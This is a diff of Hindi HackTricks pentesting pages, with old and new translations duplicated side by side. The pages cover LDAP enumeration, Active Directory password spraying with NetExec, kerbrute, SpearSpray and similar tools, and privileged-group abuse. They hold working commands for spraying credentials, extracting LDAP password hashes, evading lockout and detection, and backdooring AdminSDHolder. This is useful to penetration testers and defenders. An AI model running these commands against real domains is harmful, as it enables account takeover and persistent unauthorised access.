साथ ही कई अन्य विशेष विशेषताएँ जैसे objects को search/create/change/delete करना, groups से users add/remove करना, passwords बदलना, object permissions (DACLs) संपादित करना, Active-Directory Integrated DNS (ADIDNS) में संशोधन करना, JSON फाइलों में export करना आदि प्रदान करता है।
![](../images/godap.png) ![](../images/godap.png)
आप इसे [https://github.com/Macmod/godap](https://github.com/Macmod/godap) पर पहुंच सकते हैं। उपयोग के उदाहरणों और निर्देशों के लिए [Wiki](https://github.com/Macmod/godap/wiki) पढ़ें। आप इसे [https://github.com/Macmod/godap](https://github.com/Macmod/godap) पर एक्सेस कर सकते हैं। उपयोग के उदाहरणों और निर्देशों के लिए [Wiki](https://github.com/Macmod/godap/wiki) पढ़ें।
### Ldapx ### Ldapx
Ldapx एक लचीला LDAP प्रॉक्सी है जिसका उपयोग अन्य उपकरणों से LDAP ट्रैफ़िक की जांच और रूपांतरित करने के लिए किया जा सकता है। इसका उपयोग पहचान सुरक्षा और LDAP निगरानी उपकरणों को बायपास करने के प्रयास में LDAP ट्रैफ़िक को अस्पष्ट करने के लिए किया जा सकता है और यह [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) वार्ता में प्रस्तुत अधिकांश विधियों को लागू करता है। Ldapx एक लचीला LDAP proxy है जिसका उपयोग अन्य टूल्स से आने वाले LDAP ट्रैफिक को inspect और transform करने के लिए किया जा सकता है। इसे LDAP ट्रैफिक को obfuscate करने के लिए उपयोग किया जा सकता है ताकि identity protection और LDAP monitoring tools को बायपास करने का प्रयास किया जा सके, और यह [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) टॉक में प्रस्तुत अधिकांश विधियों को लागू करता है।
![](../images/ldapx.png) ![](../images/ldapx.png)
@ -302,19 +327,19 @@ Ldapx एक लचीला LDAP प्रॉक्सी है जिसक
## kerberos के माध्यम से प्रमाणीकरण ## kerberos के माध्यम से प्रमाणीकरण
`ldapsearch` का उपयोग करके आप **kerberos के खिलाफ प्रमाणीकरण** कर सकते हैं **NTLM** के बजाय `-Y GSSAPI` पैरामीटर का उपयोग करके `ldapsearch` का उपयोग करके आप पैरामीटर `-Y GSSAPI` का उपयोग कर **NTLM** के बजाय **kerberos के खिलाफ प्रमाणीकरण** कर सकते हैं।
## POST ## POST
यदि आप उन फाइलों तक पहुँच सकते हैं जहाँ डेटाबेस स्थित हैं (यह _/var/lib/ldap_ में हो सकता है)। आप हैश निकालने के लिए उपयोग कर सकते हैं: यदि आप उन फाइलों तक पहुँच सकते हैं जहाँ databases रखे होते हैं (हो सकता है _/var/lib/ldap_ में)। आप hashes को निकाल सकते हैं:
```bash ```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
``` ```
आप जॉन को पासवर्ड हैश ( '{SSHA}' से 'structural' तक 'structural' जोड़े बिना) दे सकते हैं आप john को password hash फीड कर सकते हैं ('{SSHA}' से 'structural' तक, 'structural' जोड़ें बिना)
### कॉन्फ़िगरेशन फ़ाइलें ### Configuration Files
- सामान्य - General
- containers.ldif - containers.ldif
- ldap.cfg - ldap.cfg
- ldap.conf - ldap.conf
@ -322,9 +347,9 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
- ldap-config.xml - ldap-config.xml
- ldap-realm.xml - ldap-realm.xml
- slapd.conf - slapd.conf
- IBM SecureWay V3 सर्वर - IBM SecureWay V3 server
- V3.sas.oc - V3.sas.oc
- Microsoft Active Directory सर्वर - Microsoft Active Directory server
- msadClassesAttrs.ldif - msadClassesAttrs.ldif
- Netscape Directory Server 4 - Netscape Directory Server 4
- nsslapd.sas_at.conf - nsslapd.sas_at.conf
@ -335,7 +360,7 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
- Sun ONE Directory Server 5.1 - Sun ONE Directory Server 5.1
- 75sas.ldif - 75sas.ldif
## HackTricks स्वचालित आदेश ## HackTricks Automatic Commands
``` ```
Protocol_Name: LDAP #Protocol Abbreviation if there is one. Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one. Port_Number: 389,636 #Comma separated if there is more than one.
@ -378,4 +403,10 @@ Entry_7:
Name: Netexec LDAP BloodHound Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
``` ```
## संदर्भ
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
- [NetExec (CME का उत्तराधिकारी)](https://github.com/Pennyw0rth/NetExec)
- [Microsoft: Anonymous LDAP ऑपरेशन्स Active Directory के लिए अक्षम हैं](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying** ## **Password Spraying**
एक बार जब आप कई **मान्य उपयोगकर्ता नाम** पा लेते हैं तो आप प्रत्येक खोजे गए उपयोगकर्ता के साथ सबसे अधिक प्रयुक्त **सामान्य पासवर्ड** आज़मा सकते हैं (पर्यावरण की पासवर्ड नीति को ध्यान में रखें).\\ जब आपने कुछ **valid usernames** खोज लिए हैं तो आप प्रत्येक खोजे गए users के साथ सबसे सामान्य **common passwords** आज़मा सकते हैं (environment की password policy को ध्यान में रखें).\
डिफ़ॉल्ट रूप से **न्यूनतम पासवर्ड लंबाई** **7** है। By **default** the **minimum** **password** **length** is **7**.
सामान्य उपयोगकर्ता नामों की सूचियाँ भी उपयोगी हो सकती हैं: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) common usernames की सूचियाँ भी उपयोगी हो सकती हैं: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
ध्यान दें कि आप **कुछ खातों को लॉकआउट कर सकते हैं यदि आप कई गलत पासवर्ड आज़माते हैं** (डिफ़ॉल्ट रूप से अधिकतर 10 से अधिक गलत प्रयासों पर)। ध्यान दें कि आप **could lockout some accounts if you try several wrong passwords** (by default more than 10).
### पासवर्ड नीति प्राप्त करें ### Get password policy
यदि आपके पास कुछ user credentials हैं या domain user के रूप में shell है तो आप **पासवर्ड नीति प्राप्त कर सकते हैं**: यदि आपके पास कुछ user credentials हैं या domain user के रूप में एक shell है तो आप **get the password policy with**:
```bash ```bash
# From Linux # From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview (Get-DomainPolicy)."SystemAccess" #From powerview
``` ```
### Linux (या सभी) से Exploitation ### Linux से Exploitation (या सभी)
- **crackmapexec** का उपयोग: - **crackmapexec** का उपयोग:
```bash ```bash
@ -40,7 +40,22 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
## --local-auth flag indicate to only try 1 time per machine ## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
``` ```
- [**kerbrute**](https://github.com/ropnop/kerbrute) का उपयोग करना (Go) - **NetExec (CME successor)** का उपयोग SMB/WinRM पर लक्षित, कम-शोर spraying के लिए:
```bash
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares
# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
```
- [**kerbrute**](https://github.com/ropnop/kerbrute) का उपयोग (Go)
```bash ```bash
# Password Spraying # Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
@ -56,11 +71,11 @@ spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
``` ```
- **Metasploit** के `scanner/smb/smb_login` मॉड्यूल के साथ: - Metasploit के `scanner/smb/smb_login` module का उपयोग करके:
![](<../../images/image (745).png>) ![](<../../images/image (745).png>)
- **rpcclient** का उपयोग करके: - **rpcclient** का उपयोग:
```bash ```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do for u in $(cat users.txt); do
@ -69,7 +84,7 @@ done
``` ```
#### Windows से #### Windows से
- [Rubeus](https://github.com/Zer1t0/Rubeus) संस्करण के साथ जिसमें brute module शामिल है: - brute module वाले [Rubeus](https://github.com/Zer1t0/Rubeus) संस्करण के साथ:
```bash ```bash
# with a list of users # with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file> .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +92,7 @@ done
# check passwords for all users in current domain # check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file> .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
``` ```
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (यह डिफ़ॉल्ट रूप से डोमेन से उपयोगकर्ता उत्पन्न कर सकता है और डोमेन से पासवर्ड पॉलिसी प्राप्त करके उसके अनुसार प्रयासों को सीमित करेगा): - [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) के साथ (यह डिफ़ॉल्ट रूप से डोमेन से उपयोगकर्ताओं को उत्पन्न कर सकता है और डोमेन से पासवर्ड नीति लेकर उसके अनुसार प्रयासों को सीमित करेगा):
```bash ```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
``` ```
@ -85,12 +100,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
``` ```
Invoke-SprayEmptyPassword Invoke-SprayEmptyPassword
``` ```
### पहचानें और जब्त करें "Password must change at next logon" खाते (SAMR) ### "Password must change at next logon" खाते पहचानें और संभालें (SAMR)
एक कम-शोर तकनीक है benign/empty password स्प्रे करना और उन खातों को पकड़ना जो STATUS_PASSWORD_MUST_CHANGE लौटाते हैं, जो संकेत देता है कि पासवर्ड जबरन समाप्त कर दिया गया है और पुराने पासवर्ड को जाने बिना बदला जा सकता है। एक low-noise तकनीक यह है कि एक खाली/निष्पाप पासवर्ड स्प्रे करें और उन खातों को पकड़ें जो STATUS_PASSWORD_MUST_CHANGE लौटाते हैं, जो दर्शाता है कि पासवर्ड जबरदस्ती expired किया गया था और पुराने पासवर्ड को जाने बिना बदला जा सकता है।
कार्यप्रवाह: वर्कफ़्लो:
- उपयोगकर्ताओं का enumeration करें (RID brute via SAMR) ताकि लक्ष्य सूची बन सके: - उपयोगकर्ताओं का सूचीकरण (RID brute via SAMR) करके लक्ष्य सूची बनाएं:
{{#ref}} {{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +114,12 @@ Invoke-SprayEmptyPassword
# NetExec (null/guest) + RID brute to harvest users # NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
``` ```
- Spray an empty password और hits पर आगे बढ़ते रहें ताकि उन accounts को capture किया जा सके जिन्हें next logon पर बदलना होगा: - Spray एक खाली password और hits पर जारी रखें ताकि उन accounts को capture किया जा सके जिन्हें next logon पर बदलना होगा:
```bash ```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
``` ```
- प्रत्येक हिट पर, SAMR के जरिए NetExecs module से पासवर्ड बदलें (जब "must change" सेट हो तो पुराने पासवर्ड की जरूरत नहीं होती): - प्रत्येक hit के लिए, NetExecs module के साथ SAMR पर password बदलें (जब "must change" सेट हो तो पुराने password की आवश्यकता नहीं):
```bash ```bash
# Strong complexity to satisfy policy # Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \ env NEWPASS='P@ssw0rd!2025#' ; \
@ -113,25 +128,25 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds # Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
``` ```
ऑपरेशनल नोट्स: Operational notes:
- Kerberos-based ऑपरेशनों से पहले सुनिश्चित करें कि आपका होस्ट क्लॉक DC के साथ सिंक में हो: `sudo ntpdate <dc_fqdn>`. - Kerberos-based operations से पहले सुनिश्चित करें कि आपके होस्ट की घड़ी DC के साथ sync में हो: `sudo ntpdate <dc_fqdn>`.
- कुछ मॉड्यूलों (उदा., RDP/WinRM) में (Pwn3d!) के बिना [+] का मतलब है कि creds वैध हैं लेकिन अकाउंट के पास interactive logon rights नहीं हैं। - कुछ मॉड्यूलों में (जैसे RDP/WinRM) (Pwn3d!) के बिना [+] का मतलब है कि creds वैध हैं, लेकिन खाते के पास interactive logon अधिकार नहीं हैं।
## Brute Force ## Brute Force
```bash ```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
``` ```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) ### Kerberos pre-auth spraying के साथ LDAP targeting और PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying SMB/NTLM/LDAP bind प्रयासों की तुलना में शोर कम करता है और AD lockout नीतियों के साथ बेहतर तरीके से संरेखित होता है। SpearSpray LDAP-driven targeting, एक pattern engine, और policy awareness (domain policy + PSOs + badPwdCount buffer) को जोड़कर सटीक और सुरक्षित तरीके से स्प्रे करता है। यह compromised principals को Neo4j में BloodHound pathing के लिए टैग भी कर सकता है। Kerberos pre-authbased spraying से SMB/NTLM/LDAP bind प्रयासों की शोर कम होती है और यह AD लॉकआउट नीतियों के साथ बेहतर मेल खाता है। SpearSpray LDAP-driven targeting, एक pattern engine, और policy awareness (domain policy + PSOs + badPwdCount buffer) को जोड़ता है ताकि सटीक और सुरक्षित तरीके से spray किया जा सके। यह Neo4j में समझौता किए गए principals को BloodHound pathing के लिए टैग भी कर सकता है।
Key ideas: Key ideas:
- LDAP user discovery paging और LDAPS support के साथ, वैकल्पिक रूप से custom LDAP filters का उपयोग। - LDAP user discovery paging और LDAPS support के साथ, वैकल्पिक रूप से custom LDAP filters का उपयोग।
- Domain lockout policy + PSO-aware filtering ताकि configurable attempt buffer (threshold) छोड़ा जा सके और users को लॉक होने से बचाया जा सके। - Domain lockout policy + PSO-aware filtering ताकि एक configurable attempt buffer (threshold) छोड़ा जा सके और उपयोगकर्ताओं को लॉक होने से बचाया जा सके।
- Kerberos pre-auth validation fast gssapi bindings का उपयोग करते हुए (DCs पर 4625 के बजाय 4768/4771 उत्पन्न करता है)। - Kerberos pre-auth validation तेज़ gssapi bindings का उपयोग करते हुए (DCs पर 4625 की बजाय 4768/4771 जनरेट करता है)।
- Pattern-based, per-user password generation ऐसे variables का उपयोग करते हुए जैसे names और प्रत्येक user के pwdLastSet से निकले temporal values। - Pattern-based, प्रति-उपयोगकर्ता password generation ऐसे variables का उपयोग करते हुए जैसे नाम और प्रत्येक उपयोगकर्ता की pwdLastSet से निकले temporal values।
- Throughput control threads, jitter, और max requests per second के साथ। - Throughput control threads, jitter, और max requests per second के साथ।
- Optional Neo4j integration owned users को BloodHound के लिए mark करने के लिये। - वैकल्पिक Neo4j integration ताकि owned users को BloodHound के लिए मार्क किया जा सके।
Basic usage and discovery: Basic usage and discovery:
```bash ```bash
@ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636) # LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
``` ```
लक्ष्य निर्धारण और पैटर्न नियंत्रण: लक्षित करना और पैटर्न नियंत्रण:
```bash ```bash
# Custom LDAP filter (e.g., target specific OU/attributes) # Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -153,7 +168,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
``` ```
स्टेल्थ और सुरक्षा नियंत्रण: छलावरण और सुरक्षा नियंत्रण:
```bash ```bash
# Control concurrency, add jitter, and cap request rate # Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -161,11 +176,11 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Leave N attempts in reserve before lockout (default threshold: 2) # Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
``` ```
Neo4j/BloodHound एनरिचमेंट: Neo4j/BloodHound संवर्धन:
```bash ```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
``` ```
पैटर्न सिस्टम अवलोकन (patterns.txt): पैटर्न सिस्टम का अवलोकन (patterns.txt):
```text ```text
# Example templates consuming per-user attributes and temporal context # Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix} {name}{separator}{year}{suffix}
@ -180,15 +195,15 @@ Available variables include:
- Composition helpers and org token: {separator}, {suffix}, {extra} - Composition helpers and org token: {separator}, {suffix}, {extra}
Operational notes: Operational notes:
- सबसे अधिक अधिकारिक badPwdCount और नीति-संबंधी जानकारी पढ़ने के लिए -dc के साथ PDC-emulator को क्वेरी करना बेहतर है - सबसे अधिक प्राधिकृत badPwdCount और पॉलिसी-संबंधित जानकारी पढ़ने के लिए -dc के साथ PDC-emulator को क्वेरी करना प्राथमिकता दें
- badPwdCount का रीसेट observation window के बाद अगले प्रयास पर ट्रिगर होता है; सुरक्षित रहने के लिए threshold और timing का उपयोग करें। - badPwdCount रीसेट ऑब्ज़र्वेशन विंडो के बाद अगले प्रयास पर ट्रिगर होते हैं; सुरक्षित रहने के लिए threshold और timing का उपयोग करें।
- Kerberos pre-auth attempts DC telemetry में 4768/4771 के रूप में दिखाई देते हैं; मिश्रित रहने के लिए jitter और rate-limiting का उपयोग करें। - Kerberos pre-auth प्रयास DC telemetry में 4768/4771 के रूप में दिखाई देते हैं; मिलने-मिलाने के लिए jitter और rate-limiting का उपयोग करें।
> Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed. > Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access ## Outlook Web Access
p**assword spraying outlook** के लिए कई tools मौजूद हैं। Outlook के लिए p**assword spraying outlook** के कई टूल हैं।
- के साथ [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - के साथ [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- के साथ [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - के साथ [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
@ -196,7 +211,7 @@ p**assword spraying outlook** के लिए कई tools मौजूद ह
- के साथ [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - के साथ [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- के साथ [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) - के साथ [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
इन tools का उपयोग करने के लिए, आपको एक user list और एक password / एक छोटी सूची passwords की आवश्यकता होती है जिन्हें spray किया जाए इन टूल्स में से किसी का भी उपयोग करने के लिए, आपको एक user list और एक password या छोटी password सूची की आवश्यकता होगी जिन्हें spray किया जा सके
```bash ```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020 [x] Failed: larsson:Summer2020
@ -227,6 +242,7 @@ p**assword spraying outlook** के लिए कई tools मौजूद ह
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) - [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
# Privileged Groups # विशेषाधिकार प्राप्त समूह
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Well Known groups with administration privileges ## प्रशासनिक विशेषाधिकार वाले प्रसिद्ध समूह
- **Administrators** - **Administrators**
- **Domain Admins** - **Domain Admins**
@ -10,61 +10,61 @@
## Account Operators ## Account Operators
यह समूह उन खातों और समूहों को बनाने के लिए सक्षम है जो डोमेन पर प्रशासक नहीं हैं। इसके अतिरिक्त, यह डोमेन कंट्रोलर (DC) पर स्थानीय लॉगिन की अनुमति देता है। यह समूह डोमेन पर administrators न होने वाले खातों और समूहों को बनाने का अधिकार रखता है। इसके अतिरिक्त, यह Domain Controller (DC) पर स्थानीय लॉगिन सक्षम करता है।
इस समूह के सदस्यों की पहचान करने के लिए, निम्नलिखित कमांड निष्पादित की जाती है: इस समूह के सदस्यों की पहचान के लिए, निम्नलिखित कमांड चलाई जाती है:
```bash ```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse Get-NetGroupMember -Identity "Account Operators" -Recurse
``` ```
नए उपयोगकर्ताओं को जोड़ना अनुमति है, साथ ही DC01 पर स्थानीय लॉगिन भी। Adding new users is permitted, as well as local login to the DC.
## AdminSDHolder समूह ## AdminSDHolder group
**AdminSDHolder** समूह की एक्सेस कंट्रोल लिस्ट (ACL) महत्वपूर्ण है क्योंकि यह सक्रिय निर्देशिका के भीतर सभी "संरक्षित समूहों" के लिए अनुमतियाँ सेट करती है, जिसमें उच्च-विशेषाधिकार समूह शामिल हैं। यह तंत्र इन समूहों की सुरक्षा सुनिश्चित करता है, जिससे अनधिकृत संशोधनों को रोका जा सके **AdminSDHolder** group's Access Control List (ACL) महत्वपूर्ण है क्योंकि यह Active Directory के सभी "protected groups", जिनमें उच्च-विशेषाधिकार समूह भी शामिल हैं, के लिए अनुमतियाँ निर्धारित करती है। यह प्रणाली इन समूहों की सुरक्षा सुनिश्चित करती है और अनधिकृत संशोधनों को रोकती है
एक हमलावर इसक**AdminSDHolder** समूह की ACL को संशोधित करके भुनाने की कोशिश कर सकता है, जिससे एक मानक उपयोगकर्ता को पूर्ण अनुमतियाँ मिल जाएँगी। इससे उस उपयोगकर्ता को सभी संरक्षित समूहों पर पूर्ण नियंत्रण मिल जाएगा। यदि इस उपयोगकर्ता की अनुमतियाँ बदली या हटा दी जाती हैं, तो सिस्टम क डिज़ाइन के कारण उन्हें एक घंटे के भीतर स्वचालित रूप से पुनर्स्थापित कर दिया जाएगा। एक हमलावर इसका फायदा उठा सकता है **AdminSDHolder** समूह की ACL को संशोधित करके और एक सामान्य उपयोगकर्ता को पूर्ण अनुमतियाँ देकर। इससे प्रभावी रूप से उस उपयोगकर्ता को सभी "protected groups" पर पूरा नियंत्रण मिल जाएगा। यदि उस उपयोगकर्ता की अनुमतियाँ बदलजाती हैं या हटा दी जाती हैं, तो सिस्टम क डिज़ाइन के कारण उन्हें एक घंटे के भीतर स्वचालित रूप से पुनर्स्थापित कर दिया जाएगा।
सदस्यों की समीक्षा करने और अनुमतियों को संशोधित करने के लिए कमांड में शामिल हैं: Commands to review the members and modify permissions include:
```bash ```bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
``` ```
एक स्क्रिप्ट उपलब्ध है जो पुनर्स्थापन प्रक्रिया को तेज करती है: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). पुनर्स्थापन प्रक्रिया को तेज करने के लिए एक स्क्रिप्ट उपलब्ध है: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
अधिक जानकारी के लिए, [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) पर जाएं। अधिक जानकारी के लिए देखें [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
## AD रीसाइक्ल बिन ## AD Recycle Bin
इस समूह में सदस्यता हटाए गए Active Directory ऑब्जेक्ट्स को पढ़ने की अनुमति देती है, जो संवेदनशील जानकारी प्रकट कर सकती है: इस समूह की सदस्यता हटाए गए Active Directory ऑब्जेक्ट्स को पढ़ने की अनुमति देती है, जो संवेदनशील जानकारी प्रकट कर सकते हैं:
```bash ```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
``` ```
### Domain Controller Access ### डोमेन कंट्रोलर तक पहुँच
DC पर फ़ाइलों तक पहुँच प्रतिबंधित है जब तक कि उपयोगकर्ता `Server Operators` समूह का हिस्सा न हो, जो पहुँच के स्तर को बदलता है। DC पर फ़ाइलों तक पहुँच प्रतिबंधित होती है जब तक कि उपयोगकर्ता `Server Operators` समूह का हिस्सा न हो, जो पहुँच के स्तर को बदल देता है।
### Privilege Escalation ### Privilege Escalation
